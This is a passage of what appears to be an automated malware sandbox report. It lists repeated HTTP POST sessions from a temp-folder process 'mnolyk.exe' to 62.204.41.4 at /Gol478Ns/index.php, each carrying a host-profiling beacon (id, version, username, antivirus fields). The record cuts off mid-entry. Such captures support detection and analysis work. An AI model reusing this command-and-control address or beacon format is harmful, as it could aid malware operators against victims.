Feb 8, 2023 21:32:25.249769926 CET	446	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:25.313677073 CET	447	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.3	49949	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:25.497713089 CET	447	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:25.561935902 CET	448	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.3	49950	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:25.900036097 CET	448	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:25.963053942 CET	449	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.3	49951	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:26.219929934 CET	449	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:26.287198067 CET	450	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	49727	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:22.887482882 CET	226	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:22.952716112 CET	226	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
250	192.168.2.3	49952	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:26.521262884 CET	450	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:26.584475040 CET	451	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
251	192.168.2.3	49953	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:26.867865086 CET	451	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:26.933233023 CET	452	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
252	192.168.2.3	49954	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:27.113818884 CET	452	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:27.177083015 CET	453	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
253	192.168.2.3	49955	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:27.359899998 CET	453	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:27.424393892 CET	454	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
254	192.168.2.3	49956	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:27.633042097 CET	454	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:27.698436975 CET	455	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
255	192.168.2.3	49957	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:27.889281034 CET	455	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:27.954535961 CET	456	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
256	192.168.2.3	49958	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:28.145173073 CET	456	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:28.210447073 CET	457	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
257	192.168.2.3	49959	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:28.422446966 CET	457	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:28.485539913 CET	458	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
258	192.168.2.3	49960	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:28.668791056 CET	458	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:28.731478930 CET	459	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
259	192.168.2.3	49961	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:28.958110094 CET	459	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:29.022146940 CET	460	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49728	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:23.125329971 CET	227	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:23.190443993 CET	227	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
260	192.168.2.3	49962	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:29.257081032 CET	460	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:29.324227095 CET	461	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
261	192.168.2.3	49963	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:29.504400969 CET	461	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:29.568942070 CET	462	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
262	192.168.2.3	49964	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:29.755517960 CET	462	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:29.820144892 CET	463	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.3	49965	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:30.025254965 CET	463	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:30.089925051 CET	464	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.3	49966	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:30.274781942 CET	464	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:30.337826014 CET	465	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.3	49967	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:30.528686047 CET	465	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:30.592782021 CET	466	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.3	49968	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
